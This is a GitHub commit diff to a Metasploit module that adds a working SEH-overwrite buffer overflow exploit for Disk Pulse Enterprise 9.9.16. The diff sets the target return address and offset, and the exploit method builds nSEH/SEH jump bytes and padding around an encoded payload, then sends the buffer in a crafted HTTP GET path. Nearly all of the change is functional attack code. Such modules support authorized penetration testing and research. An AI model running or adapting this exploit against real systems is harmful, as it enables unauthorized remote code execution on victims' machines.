Skip to content

Commit 7db5068

Browse files
committed
Add exploit code
1 parent eb0d174 commit 7db5068

File tree

1 file changed

+28
-7
lines changed

1 file changed

+28
-7
lines changed

modules/exploits/windows/http/disk_pulse_enterprise_get.rb

Lines changed: 28 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,6 @@ class MetasploitModule < Msf::Exploit::Remote
99
Rank = ExcellentRanking
1010

1111
include Msf::Exploit::Remote::HttpClient
12-
include Msf::Exploit::Remote::Egghunter
1312
include Msf::Exploit::Remote::Seh
1413

1514
def initialize(info = {})
@@ -24,7 +23,7 @@ def initialize(info = {})
2423
'License' => MSF_LICENSE,
2524
'Author' =>
2625
[
27-
'Chance Johnson', # module - hackback.sh - [email protected]
26+
'Chance Johnson', # msf module - [email protected]
2827
'Nipun Jaswal & Anurag Srivastava' # Original discovery -- www.pyramidcyber.com
2928
],
3029
'References' =>
@@ -38,19 +37,20 @@ def initialize(info = {})
3837
'Platform' => 'win',
3938
'Payload' =>
4039
{
40+
'EncoderType' => "alpha_mixed",
4141
'BadChars' => "\x00\x0a\x0d\x26"
4242
},
4343
'Targets' =>
4444
[
4545
[ 'Disk Pulse Enterprise 9.9.16',
4646
{
47-
'Ret' => 0x10013AAA, # pop ebp # pop ebx # ret 0x04 - libspp.dll
48-
'Offset' => 12600
47+
'Ret' => 0x1013ADDD, # POP EDI POP ESI RET 04 -- libpal.dll
48+
'Offset' => 2492
4949
}
5050
],
5151
],
5252
'Privileged' => true,
53-
'DisclosureDate' => 'Oct 03 2016',
53+
'DisclosureDate' => 'Aug 25 2017',
5454
'DefaultTarget' => 0))
5555

5656
register_options([Opt::RPORT(80)], self.class)
@@ -71,7 +71,28 @@ def check
7171
end
7272

7373
def exploit
74-
75-
74+
connect
75+
76+
print_status("Generating exploit...")
77+
exp = payload.encoded
78+
exp << 'A' * (target['Offset'] - payload.encoded.length) # buffer of trash until we get to offset
79+
exp << "\xEB\x10\x90\x90" # nSEH - jmp short 0x12 down to next record
80+
exp << "\xDD\xAD\x13\x10" # SEH - pop ebx, pop ecx, retn - libspp.dll
81+
exp << "\x90" * 10
82+
exp << "\xE9\x25\xBF\xFF\xFF" # jmp 0xffffbf2a - jmp back to shellcode start
83+
exp << 'B' * (5000 - exp.length)
84+
85+
print_status("Sending exploit.")
86+
87+
res = send_request_cgi({
88+
'uri' => '/../' + exp,
89+
'method' => 'GET',
90+
'host' => '4.2.2.2',
91+
'connection' => 'keep-alive'
92+
})
93+
94+
handler
95+
disconnect
96+
7697
end
7798
end

0 commit comments

Comments
 (0)